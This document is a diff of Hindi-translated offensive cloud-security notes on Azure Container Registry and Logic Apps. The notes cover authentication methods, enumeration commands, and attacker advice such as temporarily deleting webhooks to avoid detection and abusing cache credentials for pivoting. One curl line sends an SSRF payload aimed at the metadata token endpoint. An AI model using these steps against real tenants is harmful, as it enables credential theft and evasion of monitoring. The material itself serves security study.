## विशेषाधिकार वृद्धि और पोस्ट शोषण
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-automation-accounts-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
## स्थिरता
|
||||
|
||||
{{#ref}}
|
||||
../az-persistence/az-automation-accounts-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
## संदर्भ
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/automation/overview](https://learn.microsoft.com/en-us/azure/automation/overview)
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
Azure Container Registry (ACR) एक सुरक्षित, निजी रजिस्ट्री है जो आपको **Azure क्लाउड में कंटेनर इमेज को स्टोर, प्रबंधित और एक्सेस करने** की अनुमति देती है। यह कई Azure सेवाओं के साथ सहजता से एकीकृत होती है, जो बड़े पैमाने पर स्वचालित निर्माण और तैनाती कार्यप्रवाह प्रदान करती है। भू-प्रतिकृति और भेद्यता स्कैनिंग जैसी सुविधाओं के साथ, ACR कंटेनराइज्ड अनुप्रयोगों के लिए उद्यम-ग्रेड सुरक्षा और अनुपालन सुनिश्चित करने में मदद करता है।
|
||||
Azure Container Registry (ACR) एक सुरक्षित, निजी रजिस्ट्री है जो आपको **Azure क्लाउड में कंटेनर इमेज को स्टोर, प्रबंधित और एक्सेस करने** की अनुमति देती है। यह कई Azure सेवाओं के साथ सहजता से एकीकृत होती है, जो बड़े पैमाने पर स्वचालित निर्माण और तैनाती कार्यप्रवाह प्रदान करती है। भू-प्रतिकृति और कमजोरियों की स्कैनिंग जैसी सुविधाओं के साथ, ACR कंटेनराइज्ड अनुप्रयोगों के लिए उद्यम-ग्रेड सुरक्षा और अनुपालन सुनिश्चित करने में मदद करता है।
|
||||
|
||||
### Permissions
|
||||
|
||||
@@ -27,12 +27,12 @@ Azure Container Registry (ACR) एक सुरक्षित, निजी र
|
||||
> [!WARNING]
|
||||
> यह बहुत महत्वपूर्ण है कि भले ही रजिस्ट्री नाम में कुछ बड़े अक्षर हों, आपको हमेशा **छोटे अक्षरों** का उपयोग करके लॉगिन, पुश और पुल इमेज करनी चाहिए।
|
||||
|
||||
ACR के लिए प्रमाणित होने के 4 तरीके हैं:
|
||||
ACR में प्रमाणित होने के 4 तरीके हैं:
|
||||
|
||||
- **Entra ID के साथ**: यह ACR के लिए प्रमाणित होने का **डिफ़ॉल्ट** तरीका है। यह ACR के लिए प्रमाणित करने के लिए **`az acr login`** कमांड का उपयोग करता है। यह कमांड **`~/.docker/config.json`** फ़ाइल में **क्रेडेंशियल्स** को **स्टोर** करेगा। इसके अलावा, यदि आप इस कमांड को ऐसे वातावरण से चला रहे हैं जिसमें डॉकर सॉकेट तक पहुंच नहीं है जैसे कि **क्लाउड शेल**, तो ACR के लिए प्रमाणित करने के लिए **`--expose-token`** ध्वज का उपयोग करके **टोकन** प्राप्त करना संभव है। फिर प्रमाणित करने के लिए आपको उपयोगकर्ता नाम के रूप में `00000000-0000-0000-0000-000000000000` का उपयोग करना होगा जैसे: `docker login myregistry.azurecr.io --username 00000000-0000-0000-0000-000000000000 --password-stdin <<< $TOKEN`
|
||||
- **एक व्यवस्थापक खाते के साथ**: व्यवस्थापक उपयोगकर्ता डिफ़ॉल्ट रूप से अक्षम होता है लेकिन इसे सक्षम किया जा सकता है और फिर रजिस्ट्री तक पहुंच प्राप्त करने के लिए व्यवस्थापक खाते के **उपयोगकर्ता नाम** और **पासवर्ड** का उपयोग किया जा सकता है जिसमें रजिस्ट्री के लिए पूर्ण अनुमतियाँ होती हैं। यह अभी भी समर्थित है क्योंकि कुछ Azure सेवाएँ इसका उपयोग करती हैं। ध्यान दें कि इस उपयोगकर्ता के लिए **2 पासवर्ड** बनाए जाते हैं और दोनों मान्य होते हैं। आप इसे `az acr update -n <acrName> --admin-enabled true` के साथ सक्षम कर सकते हैं। ध्यान दें कि उपयोगकर्ता नाम आमतौर पर रजिस्ट्री का नाम होता है (और `admin` नहीं)।
|
||||
- **एक टोकन के साथ**: रजिस्ट्री तक पहुंच के लिए **विशिष्ट `scope map`** (अनुमतियाँ) के साथ एक **टोकन** बनाना संभव है। फिर, इस टोकन नाम का उपयोग उपयोगकर्ता नाम के रूप में और रजिस्ट्री में प्रमाणित करने के लिए कुछ उत्पन्न पासवर्ड का उपयोग करना संभव है `docker login -u <registry-name> -p <password> aregistry-url>`
|
||||
- **एक सेवा प्रमुख के साथ**: एक **सेवा प्रमुख** बनाना और इमेज खींचने के लिए **`AcrPull`** जैसी भूमिका सौंपना संभव है। फिर, SP appId का उपयोग करके रजिस्ट्री में **लॉगिन करना** संभव होगा और एक उत्पन्न गुप्त को पासवर्ड के रूप में उपयोग करना होगा।
|
||||
- **Entra ID के साथ**: यह ACR में प्रमाणित होने का **डिफ़ॉल्ट** तरीका है। यह ACR में प्रमाणित होने के लिए **`az acr login`** कमांड का उपयोग करता है। यह कमांड **`~/.docker/config.json`** फ़ाइल में **क्रेडेंशियल्स** को **स्टोर** करेगा। इसके अलावा, यदि आप इस कमांड को ऐसे वातावरण से चला रहे हैं जिसमें डॉकर सॉकेट तक पहुंच नहीं है जैसे कि **क्लाउड शेल**, तो ACR में प्रमाणित होने के लिए **`--expose-token`** ध्वज का उपयोग करके **टोकन** प्राप्त करना संभव है। फिर प्रमाणित होने के लिए आपको उपयोगकर्ता नाम के रूप में `00000000-0000-0000-0000-000000000000` का उपयोग करना होगा जैसे: `docker login myregistry.azurecr.io --username 00000000-0000-0000-0000-000000000000 --password-stdin <<< $TOKEN`
|
||||
- **एक प्रशासनिक खाते के साथ**: प्रशासनिक उपयोगकर्ता डिफ़ॉल्ट रूप से अक्षम होता है लेकिन इसे सक्षम किया जा सकता है और फिर रजिस्ट्री तक पहुंच प्राप्त करने के लिए **उपयोगकर्ता नाम** और **पासवर्ड** का उपयोग किया जा सकता है जिसमें रजिस्ट्री के लिए पूर्ण अनुमतियाँ होती हैं। इसे कुछ Azure सेवाओं द्वारा उपयोग किए जाने के कारण अभी भी समर्थित है। ध्यान दें कि इस उपयोगकर्ता के लिए **2 पासवर्ड** बनाए जाते हैं और दोनों मान्य होते हैं। आप इसे `az acr update -n <acrName> --admin-enabled true` के साथ सक्षम कर सकते हैं। ध्यान दें कि उपयोगकर्ता नाम आमतौर पर रजिस्ट्री का नाम होता है (और `admin` नहीं)।
|
||||
- **एक टोकन के साथ**: रजिस्ट्री तक पहुंच के लिए **विशिष्ट `scope map`** (अनुमतियाँ) के साथ एक **टोकन** बनाना संभव है। फिर, रजिस्ट्री में प्रमाणित होने के लिए उपयोगकर्ता नाम के रूप में टोकन का नाम और उत्पन्न पासवर्ड में से कोई भी उपयोग करना संभव है `docker login -u <registry-name> -p <password> <registry-url>`
|
||||
- **एक सेवा प्रमुख के साथ**: एक **सेवा प्रमुख** बनाना और इमेज को खींचने के लिए **`AcrPull`** जैसी भूमिका सौंपना संभव है। फिर, SP appId को उपयोगकर्ता नाम के रूप में और एक उत्पन्न गुप्त को पासवर्ड के रूप में उपयोग करके **रजिस्ट्री में लॉगिन करना** संभव होगा।
|
||||
|
||||
रजिस्ट्री पर पहुंच के लिए SP उत्पन्न करने के लिए [docs](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-auth-service-principal) से उदाहरण स्क्रिप्ट:
|
||||
```bash
|
||||
@@ -51,15 +51,15 @@ echo "Service principal password: $PASSWORD"
|
||||
```
|
||||
### Encryption
|
||||
|
||||
केवल **Premium SKU** **encryption at rest** के लिए **images** और अन्य artifacts का समर्थन करता है।
|
||||
केवल **Premium SKU** **encryption at rest** के लिए चित्रों और अन्य कलाकृतियों का समर्थन करता है।
|
||||
|
||||
### Networking
|
||||
|
||||
केवल **Premium SKU** **private endpoints** का समर्थन करता है। अन्य केवल **public access** का समर्थन करते हैं। एक सार्वजनिक endpoint का प्रारूप `<registry-name>.azurecr.io` है और एक निजी endpoint का प्रारूप `<registry-name>.privatelink.azurecr.io` है। इस कारण से, registry का नाम Azure में सभी के बीच अद्वितीय होना चाहिए।
|
||||
केवल **Premium SKU** **private endpoints** का समर्थन करता है। अन्य केवल **public access** का समर्थन करते हैं। एक सार्वजनिक endpoint का प्रारूप `<registry-name>.azurecr.io` है और एक निजी endpoint का प्रारूप `<registry-name>.privatelink.azurecr.io` है। इस कारण से, रजिस्ट्री का नाम Azure में सभी के बीच अद्वितीय होना चाहिए।
|
||||
|
||||
### Microsoft Defender for Cloud
|
||||
|
||||
यह आपको registry में **images** को **vulnerabilities** के लिए **scan** करने की अनुमति देता है।
|
||||
यह आपको रजिस्ट्री में **images** के लिए **vulnerabilities** को **scan** करने की अनुमति देता है।
|
||||
|
||||
### Soft-delete
|
||||
|
||||
@@ -67,23 +67,23 @@ echo "Service principal password: $PASSWORD"
|
||||
|
||||
### Webhooks
|
||||
|
||||
यह registry के अंदर **webhooks** **create** करना संभव है। इस webhook में उस URL को निर्दिष्ट करना आवश्यक है जहाँ एक **request भेजी जाएगी जब भी एक push या delete action किया जाएगा**। इसके अलावा, Webhooks एक scope को इंगित कर सकते हैं ताकि उन repositories (images) को इंगित किया जा सके जो प्रभावित होंगी। उदाहरण के लिए, 'foo:\*' का अर्थ है repository 'foo' के तहत घटनाएँ।
|
||||
यह रजिस्ट्री के अंदर **webhooks** बनाने की अनुमति देता है। इस webhook में उस URL को निर्दिष्ट करना आवश्यक है जहाँ **request भेजी जाएगी जब भी कोई push या delete क्रिया की जाती है**। इसके अलावा, Webhooks एक स्कोप को इंगित कर सकते हैं ताकि उन रिपॉजिटरी (images) को इंगित किया जा सके जो प्रभावित होंगी। उदाहरण के लिए, 'foo:\*' का अर्थ है 'foo' रिपॉजिटरी के तहत घटनाएँ।
|
||||
|
||||
एक हमलावर के दृष्टिकोण से, registry में कोई भी कार्रवाई करने से पहले इसे चेक करना दिलचस्प है, और यदि आवश्यक हो तो इसे अस्थायी रूप से हटा देना चाहिए, ताकि पता न चले।
|
||||
एक हमलावर के दृष्टिकोण से, रजिस्ट्री में कोई भी क्रिया करने से पहले इसे चेक करना दिलचस्प है, और यदि आवश्यक हो तो इसे अस्थायी रूप से हटा देना चाहिए, ताकि पता न चले।
|
||||
|
||||
### Connected registries
|
||||
|
||||
यह मूल रूप से एक registry से दूसरी registry में **images** को **mirror** करने की अनुमति देता है, जो आमतौर पर ऑन-प्रिमाइसेस स्थित होती है।
|
||||
यह मूल रूप से एक रजिस्ट्री से दूसरी रजिस्ट्री में **images** को **mirror** करने की अनुमति देता है, जो आमतौर पर ऑन-प्रिमाइसेस पर स्थित होती है।
|
||||
|
||||
इसके 2 मोड हैं: **ReadOnly** और **ReadWrite**। पहले में, images केवल **pulled** की जाती हैं स्रोत registry से, और दूसरे में, images को स्रोत registry में भी **pushed** किया जा सकता है।
|
||||
इसके 2 मोड हैं: **ReadOnly** और **ReadWrite**। पहले में, चित्र केवल स्रोत रजिस्ट्री से **pulled** होते हैं, और दूसरे में, चित्रों को स्रोत रजिस्ट्री में भी **pushed** किया जा सकता है।
|
||||
|
||||
Azure से registry तक पहुँचने के लिए, एक **token** उत्पन्न होता है जब connected registry का उपयोग किया जाता है।
|
||||
Azure से रजिस्ट्री तक पहुँचने के लिए, एक **token** उत्पन्न होता है जब कनेक्टेड रजिस्ट्री का उपयोग किया जाता है।
|
||||
|
||||
### Runs & Tasks
|
||||
|
||||
Runs & Tasks Azure में container से संबंधित क्रियाएँ निष्पादित करने की अनुमति देता है जो आपको आमतौर पर स्थानीय रूप से या CI/CD pipeline में करने की आवश्यकता होती है। उदाहरण के लिए, आप registry में **build, push, और run images** कर सकते हैं।
|
||||
Runs & Tasks Azure में कंटेनर से संबंधित क्रियाएँ निष्पादित करने की अनुमति देता है जो आपको आमतौर पर स्थानीय रूप से या CI/CD पाइपलाइन में करने की आवश्यकता होती है। उदाहरण के लिए, आप रजिस्ट्री में **build, push, और run images** कर सकते हैं।
|
||||
|
||||
एक container को build और run करने का सबसे आसान तरीका एक नियमित Run का उपयोग करना है:
|
||||
कंटेनर बनाने और चलाने का सबसे आसान तरीका एक नियमित Run का उपयोग करना है:
|
||||
```bash
|
||||
# Build
|
||||
echo "FROM mcr.microsoft.com/hello-world" > Dockerfile
|
||||
@@ -92,15 +92,15 @@ az acr build --image sample/hello-world:v1 --registry mycontainerregistry008 --f
|
||||
# Run
|
||||
az acr run --registry mycontainerregistry008 --cmd '$Registry/sample/hello-world:v1' /dev/null
|
||||
```
|
||||
हालांकि, यह ऐसे रन को ट्रिगर करेगा जो हमलावर के दृष्टिकोण से बहुत दिलचस्प नहीं हैं क्योंकि उनके साथ कोई प्रबंधित पहचान संलग्न नहीं है।
|
||||
हालांकि, यह ऐसे रन को ट्रिगर करेगा जो हमलावर के दृष्टिकोण से बहुत दिलचस्प नहीं हैं क्योंकि उनके साथ कोई प्रबंधित पहचान नहीं जुड़ी होती है।
|
||||
|
||||
हालांकि, **tasks** के साथ **system and user managed identity** संलग्न हो सकती है। ये tasks वे हैं जो कंटेनर में **privileges** को **escalate** करने के लिए उपयोगी हैं। प्रिविलेज़ एस्कलेशन सेक्शन में यह देखना संभव है कि प्रिविलेज़ को एस्केलेट करने के लिए tasks का उपयोग कैसे किया जाए।
|
||||
हालांकि, **tasks** के साथ **system and user managed identity** जुड़ी हो सकती है। ये tasks उन कार्यों में से हैं जो कंटेनर में **privileges** बढ़ाने के लिए उपयोगी हैं। प्रिविलेज़ बढ़ाने के अनुभाग में यह देखना संभव है कि प्रिविलेज़ बढ़ाने के लिए tasks का उपयोग कैसे किया जाए।
|
||||
|
||||
### Cache
|
||||
|
||||
कैश फीचर **एक बाहरी रिपॉजिटरी से इमेज डाउनलोड करने** और नए संस्करणों को रजिस्ट्री में स्टोर करने की अनुमति देता है। इसके लिए Azure Vault से क्रेडेंशियल्स का चयन करके कुछ **credentials configured** होना आवश्यक है।
|
||||
|
||||
यह हमलावर के दृष्टिकोण से बहुत दिलचस्प है क्योंकि यह **एक बाहरी प्लेटफॉर्म पर पिवट** करने की अनुमति देता है यदि हमलावर के पास क्रेडेंशियल्स तक पहुंचने के लिए पर्याप्त अनुमतियाँ हैं, **एक बाहरी रिपॉजिटरी से इमेज डाउनलोड करने** और कैश को कॉन्फ़िगर करने का उपयोग **persistency mechanism** के रूप में भी किया जा सकता है।
|
||||
यह हमलावर के दृष्टिकोण से बहुत दिलचस्प है क्योंकि यह **एक बाहरी प्लेटफॉर्म पर पिवट** करने की अनुमति देता है यदि हमलावर के पास क्रेडेंशियल्स तक पहुंचने के लिए पर्याप्त अनुमतियाँ हैं, **एक बाहरी रिपॉजिटरी से इमेज डाउनलोड करने** और कैश को कॉन्फ़िगर करना **persistence mechanism** के रूप में भी उपयोग किया जा सकता है।
|
||||
|
||||
## Enumeration
|
||||
|
||||
@@ -143,10 +143,16 @@ az acr cache list --registry <registry-name>
|
||||
# Get cache details
|
||||
az acr cache show --name <cache-name> --registry <registry-name>
|
||||
```
|
||||
## विशेषाधिकार वृद्धि और पोस्ट एक्सप्लोइटेशन
|
||||
## अनधिकृत पहुँच
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-automation-accounts-privesc.md
|
||||
../az-unauthenticated-enum-and-initial-entry/az-container-registry-unauth.md
|
||||
{{#endref}}
|
||||
|
||||
## विशेषाधिकार वृद्धि और पोस्ट एक्सप्लॉइटेशन
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-container-registry-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
## संदर्भ
|
||||
|
||||
@@ -4,101 +4,177 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
Azure Logic Apps एक क्लाउड-आधारित सेवा है जो Microsoft Azure द्वारा प्रदान की जाती है जो डेवलपर्स को **विभिन्न सेवाओं**, डेटा स्रोतों और अनुप्रयोगों को एकीकृत करने वाले वर्कफ़्लो बनाने और चलाने में सक्षम बनाती है। ये वर्कफ़्लो **व्यापार प्रक्रियाओं को स्वचालित** करने, कार्यों का समन्वय करने और विभिन्न प्लेटफार्मों के बीच डेटा एकीकरण करने के लिए डिज़ाइन किए गए हैं।
|
||||
Azure Logic Apps डेवलपर्स को **विभिन्न सेवाओं**, डेटा स्रोतों और अनुप्रयोगों को एकीकृत करने वाले वर्कफ़्लो बनाने और चलाने की अनुमति देता है। ये वर्कफ़्लो **व्यापार प्रक्रियाओं को स्वचालित** करने, कार्यों का समन्वय करने और विभिन्न प्लेटफार्मों के बीच डेटा एकीकरण करने के लिए डिज़ाइन किए गए हैं।
|
||||
|
||||
Logic Apps एक दृश्य डिज़ाइनर प्रदान करता है जिससे **पूर्व-निर्मित कनेक्टर्स की विस्तृत श्रृंखला** के साथ वर्कफ़्लो बनाना आसान हो जाता है, जिससे Office 365, Dynamics CRM, Salesforce और कई अन्य सेवाओं के साथ कनेक्ट और इंटरैक्ट करना संभव होता है। आप अपनी विशिष्ट आवश्यकताओं के लिए कस्टम कनेक्टर्स भी बना सकते हैं।
|
||||
Logic Apps एक **दृश्य डिज़ाइनर** प्रदान करता है जो **पूर्व-निर्मित कनेक्टर्स** की एक विस्तृत श्रृंखला के साथ वर्कफ़्लो बनाने की अनुमति देता है, जिससे विभिन्न सेवाओं से कनेक्ट करना और बातचीत करना आसान हो जाता है:
|
||||
|
||||
जब आप एक Logic App बनाते हैं, तो आपको या तो एक बाहरी स्टोरेज खाता बनाना होगा या लिंक करना होगा जो वर्कफ़्लो स्थिति, रन इतिहास और कलाकृतियों को संग्रहीत करता है। इस स्टोरेज को निगरानी के लिए डायग्नोस्टिक सेटिंग्स के साथ कॉन्फ़िगर किया जा सकता है और इसे नेटवर्क एक्सेस प्रतिबंधों के साथ सुरक्षित किया जा सकता है या इनबाउंड और आउटबाउंड ट्रैफ़िक को नियंत्रित करने के लिए एक वर्चुअल नेटवर्क में एकीकृत किया जा सकता है।
|
||||
<figure><img src="../../../images/image (197).png" alt="https://infiniteblogs.blob.core.windows.net/medias/4de7fba4-1d43-465a-8c12-8da966a2cdb3_Overview.png"><figcaption></figcaption></figure>
|
||||
|
||||
### Examples
|
||||
|
||||
- **Automating Data Pipelines**: Logic Apps **डेटा ट्रांसफर और रूपांतरण प्रक्रियाओं** को Azure Data Factory के साथ मिलकर स्वचालित कर सकते हैं। यह विभिन्न डेटा स्टोर्स, जैसे Azure SQL Database और Azure Blob Storage के बीच डेटा को स्थानांतरित और रूपांतरित करने के लिए स्केलेबल और विश्वसनीय डेटा पाइपलाइनों को बनाने के लिए उपयोगी है, जो एनालिटिक्स और व्यवसाय बुद्धिमत्ता संचालन में मदद करता है।
|
||||
- **Integrating with Azure Functions**: Logic Apps Azure Functions के साथ मिलकर **जटिल, इवेंट-चालित अनुप्रयोगों को विकसित करने** के लिए काम कर सकते हैं जो आवश्यकतानुसार स्केल करते हैं और अन्य Azure सेवाओं के साथ सहजता से एकीकृत होते हैं। एक उदाहरण उपयोग मामला यह है कि एक Logic App का उपयोग करके Azure Function को कुछ घटनाओं के जवाब में ट्रिगर किया जाए, जैसे Azure Storage खाते में परिवर्तन, जिससे गतिशील डेटा प्रोसेसिंग की अनुमति मिलती है।
|
||||
|
||||
### Visualize a LogicAPP
|
||||
|
||||
यह ग्राफिक्स के साथ एक LogicApp को देखने के लिए संभव है:
|
||||
|
||||
<figure><img src="../../../images/image (197).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
या "**Logic app code view**" अनुभाग में कोड की जांच करने के लिए।
|
||||
|
||||
### SSRF Protection
|
||||
|
||||
यहां तक कि यदि आप **Logic App को SSRF के लिए संवेदनशील** पाते हैं, तो आप मेटाडेटा से क्रेडेंशियल्स तक पहुंच नहीं पाएंगे क्योंकि Logic Apps ऐसा करने की अनुमति नहीं देता है।
|
||||
|
||||
उदाहरण के लिए, ऐसा कुछ टोकन नहीं लौटाएगा:
|
||||
```bash
|
||||
# The URL belongs to a Logic App vulenrable to SSRF
|
||||
curl -XPOST 'https://prod-44.westus.logic.azure.com:443/workflows/2d8de4be6e974123adf0b98159966644/triggers/manual/paths/invoke?api-version=2016-10-01&sp=%2Ftriggers%2Fmanual%2Frun&sv=1.0&sig=_8_oqqsCXc0u2c7hNjtSZmT0uM4Xi3hktw6Uze0O34s' -d '{"url": "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"}' -H "Content-type: application/json" -v
|
||||
```
|
||||
### Hosting options
|
||||
|
||||
There are several hosting options:
|
||||
कुछ होस्टिंग विकल्प हैं:
|
||||
|
||||
* **Consumption**
|
||||
- **Multi-tenant**: साझा कंप्यूट संसाधनों को प्रदान करता है, सार्वजनिक क्लाउड में कार्य करता है, और प्रति ऑपरेशन मूल्य निर्धारण मॉडल का पालन करता है। यह हल्के और लागत-कुशल कार्यभार के लिए आदर्श है। यह "Single Worlfow" को तैनात करता है।
|
||||
- **Multi-tenant**: यह साझा कंप्यूट संसाधन प्रदान करता है, सार्वजनिक क्लाउड में कार्य करता है, और प्रति-ऑपरेशन मूल्य निर्धारण मॉडल का पालन करता है। यह हल्के और लागत-कुशल कार्यभार के लिए आदर्श है। इसे हम "Single Workflow" कहेंगे।
|
||||
* **Standard**
|
||||
- **Workflow Service Plan**: नेटवर्किंग के लिए VNET एकीकरण के साथ समर्पित कंप्यूट संसाधन और प्रति वर्कफ़्लो सेवा योजना उदाहरण के लिए चार्ज करता है। यह अधिक मांग वाले कार्यभार के लिए उपयुक्त है जो अधिक नियंत्रण की आवश्यकता होती है।
|
||||
- **App Service Environment V3** समर्पित कंप्यूट संसाधन पूर्ण अलगाव और स्केलेबिलिटी के साथ। यह नेटवर्किंग के लिए VNET के साथ भी एकीकृत होता है और वातावरण के भीतर App Service उदाहरणों के आधार पर मूल्य निर्धारण मॉडल का उपयोग करता है।
|
||||
- **Hybrid** स्थानीय प्रसंस्करण और मल्टी-क्लाउड समर्थन के लिए डिज़ाइन किया गया है। यह स्थानीय नेटवर्क एक्सेस के साथ ग्राहक-प्रबंधित कंप्यूट संसाधनों की अनुमति देता है और Kubernetes Event-Driven Autoscaling (KEDA) का उपयोग करता है। यह एक Container App Connected Environment पर निर्भर करता है।
|
||||
- **Workflow Service Plan**: यह नेटवर्किंग के लिए VNET एकीकरण के साथ समर्पित कंप्यूट संसाधन प्रदान करता है और प्रति वर्कफ़्लो सेवा योजना उदाहरण के लिए चार्ज करता है। यह अधिक मांग वाले कार्यभार के लिए उपयुक्त है जो अधिक नियंत्रण की आवश्यकता होती है।
|
||||
- **App Service Environment V3:** यह पूर्ण अलगाव और स्केलेबिलिटी के साथ समर्पित कंप्यूट संसाधन प्रदान करता है। यह नेटवर्किंग के लिए VNET के साथ भी एकीकृत होता है और वातावरण के भीतर App Service उदाहरणों के आधार पर मूल्य निर्धारण मॉडल का उपयोग करता है।
|
||||
- **Hybrid:** यह स्थानीय प्रसंस्करण और मल्टी-क्लाउड समर्थन के लिए डिज़ाइन किया गया है। यह स्थानीय नेटवर्क एक्सेस के साथ ग्राहक-प्रबंधित कंप्यूट संसाधनों की अनुमति देता है और Kubernetes Event-Driven Autoscaling (KEDA) का उपयोग करता है। यह एक Container App Connected Environment पर निर्भर करता है।
|
||||
|
||||
### Key Features
|
||||
- **Storage**: Logic Apps को वर्कफ़्लो स्थिति, रन इतिहास… को स्टोर करने के लिए एक बाहरी Azure Storage खाता की आवश्यकता होती है और इसे Logic App के समान संसाधन समूह में होना चाहिए।
|
||||
- **Networking & Security**: Logic Apps को सार्वजनिक या निजी पहुंच के साथ कॉन्फ़िगर किया जा सकता है। डिफ़ॉल्ट रूप से, ऐप इंटरनेट के लिए खुला है लेकिन इसे अलग कनेक्टिविटी के लिए Azure Virtual Network के साथ एकीकृत किया जा सकता है।
|
||||
- **Application Insights**: प्रदर्शन को ट्रैक करने, विसंगतियों का पता लगाने और विश्लेषण प्रदान करने के लिए Azure Monitor Application Insights के माध्यम से एप्लिकेशन प्रदर्शन प्रबंधन (APM) सक्षम किया जा सकता है।
|
||||
- **Access Control**: Logic apps सिस्टम प्रबंधित पहचान और उपयोगकर्ता प्रबंधित पहचान का समर्थन करते हैं।
|
||||
## "Single" Workflows / Consumption Plan
|
||||
|
||||
### "Single" Workflows
|
||||
एक **workflow** स्वचालित चरणों या कार्यों का एक संरचित अनुक्रम है जो एक विशिष्ट प्रक्रिया या उद्देश्य को निष्पादित करता है। यह परिभाषित करता है कि विभिन्न क्रियाएँ, स्थितियाँ, और निर्णय कैसे बातचीत करते हैं ताकि एक इच्छित परिणाम प्राप्त किया जा सके, संचालन को सरल बनाते हुए और मैनुअल प्रयास को कम करते हुए।
|
||||
|
||||
A **workflow** एक संरचित स्वचालित कदमों या कार्यों की अनुक्रम है जो एक विशिष्ट प्रक्रिया या उद्देश्य को निष्पादित करती है। यह परिभाषित करता है कि विभिन्न क्रियाएँ, स्थितियाँ, और निर्णय कैसे बातचीत करते हैं ताकि एक इच्छित परिणाम प्राप्त किया जा सके, संचालन को सुव्यवस्थित करते हुए और मैनुअल प्रयास को कम करते हुए। वर्कफ़्लो कई प्रणालियों को एकीकृत कर सकते हैं, घटनाओं और नियमों को ट्रिगर कर सकते हैं, प्रक्रियाओं में स्थिरता और दक्षता सुनिश्चित करते हैं।
|
||||
> [!TIP]
|
||||
> Consumption योजना **Logic App** की आवश्यकता के बिना **एकल वर्कफ़्लो बनाने की अनुमति देती है**।
|
||||
|
||||
Azure Logic apps **Logic App** की आवश्यकता के बिना **एकल वर्कफ़्लो बनाने** की कार्यक्षमता प्रदान करता है।
|
||||
### Triggers & Actions
|
||||
|
||||
प्रत्येक वर्कफ़्लो के विभिन्न **triggers** होते हैं। ये ट्रिगर्स वे कदम हैं जिनका पालन वर्कफ़्लो करता है। प्रत्येक ट्रिगर के अपने पैरामीटर होते हैं जो ट्रिगर के प्रकार के आधार पर भिन्न हो सकते हैं:
|
||||
- कनेक्शन नाम
|
||||
- **Authentication Type** जो हो सकता है, Access Key, Microsoft Entra ID, Integrated Service principal authentication और Logic Apps Managed Identity।
|
||||
वर्कफ़्लो ट्रिगर्स यह संकेत करते हैं कि **वर्कफ़्लो कब शुरू होना चाहिए**। ट्रिगर्स एक HTTP एंडपॉइंट, एक शेड्यूल, या Azure या यहां तक कि बाहरी ऐप्स से विभिन्न घटनाएँ हो सकती हैं।
|
||||
|
||||
Triggers के पास विभिन्न सेटिंग्स भी होती हैं:
|
||||
- Schema Validation: सुनिश्चित करता है कि आने वाले डेटा एक पूर्व निर्धारित संरचना का पालन करता है।
|
||||
- Concurrency Control: समानांतर रन की संख्या को सीमित करता है।
|
||||
- Trigger Conditions: वे स्थितियाँ जो ट्रिगर के सक्रिय होने से पहले पूरी होनी चाहिए।
|
||||
- Networking: डेटा ट्रांसफर के लिए चंक आकार को कॉन्फ़िगर करता है और प्रतिक्रियाओं में वर्कफ़्लो हेडर को दबाने की अनुमति देता है।
|
||||
- **Security**: संवेदनशील डेटा को लॉग और आउटपुट में छिपाने के लिए **Secure Inputs/Outputs** सक्षम करता है।
|
||||
प्रत्येक वर्कफ़्लो में विभिन्न **क्रियाएँ** होती हैं। ये क्रियाएँ वे चरण हैं जिनका वर्कफ़्लो पालन करता है। क्रिया के आधार पर विभिन्न पैरामीटर उपलब्ध होंगे, जैसे:
|
||||
|
||||
**Settings & API Conections:**
|
||||
- **Connection name**: वह कनेक्शन जिसका उपयोग क्रिया बातचीत करेगी।
|
||||
- **Authentication Type:** विभिन्न विकल्प हैं Access Key, Microsoft Entra ID, Integrated Service principal authentication और Logic Apps Managed Identity।
|
||||
- एक Read-Only दृष्टिकोण से, **Authentication** डेटा हमेशा दिलचस्प होता है क्योंकि इसमें संवेदनशील जानकारी हो सकती है।
|
||||
- Write दृष्टिकोण से, **Authentication** डेटा हमेशा दिलचस्प होता है क्योंकि यह असाइन किए गए प्रबंधित पहचान के अनुमतियों का उपयोग करने की अनुमति दे सकता है।
|
||||
- ...
|
||||
|
||||
एक वर्कफ़्लो में विभिन्न सेटिंग्स होती हैं जैसे:
|
||||
- Allowed inbound IP addresses: यह सेटिंग आपको यह सीमित करने देती है कि कौन आपके Logic App को ट्रिगर या प्रारंभ कर सकता है। विकल्प हैं Any IP, केवल अन्य Logic Apps और विशिष्ट IP रेंज।
|
||||
- Integration account: यहाँ, आप अपने Logic App को एक Integration Account से लिंक कर सकते हैं।
|
||||
- High throughput: यह सेटिंग आपके Logic App को अधिक अनुरोधों को तेजी से संभालने की अनुमति देती है।
|
||||
- Run history retention: आपके Logic App के निष्पादन का इतिहास कितने समय तक रखा जाता है।
|
||||
क्रियाओं में विभिन्न **सेटिंग्स** भी होती हैं, जो क्रिया पर निर्भर करती हैं। कुछ सामान्य सेटिंग्स हैं:
|
||||
|
||||
आप देख सकते हैं कि वर्कफ़्लो के पास विभिन्न API कनेक्शन हैं। इन कनेक्शनों के भीतर उनके पास विभिन्न गुण होते हैं और API कनेक्शन को संपादित करने की संभावना होती है जहाँ Authentication type को बदला जा सकता है।
|
||||
- **Retry Policy**: पुनः प्रयासों की संख्या और उनके बीच के अंतराल को कॉन्फ़िगर करता है।
|
||||
- **Timeout**: अधिकतम समय सेट करता है जिसमें क्रिया चल सकती है इससे पहले कि यह टाइमआउट हो जाए।
|
||||
- **Run After**: उन शर्तों को निर्दिष्ट करता है जिन्हें क्रिया चलने से पहले पूरा किया जाना चाहिए।
|
||||
- **Schema Validation**: सुनिश्चित करता है कि आने वाला डेटा पूर्व-निर्धारित संरचना का पालन करता है।
|
||||
- **Networking**: विभिन्न हेडर प्रबंधित करने के तरीके को कॉन्फ़िगर करता है।
|
||||
- **Secure Inputs/Outputs**: यह रन इतिहास से इनपुट/आउटपुट डेटा को छिपा देगा।
|
||||
- ...
|
||||
|
||||
**History & Versions:**
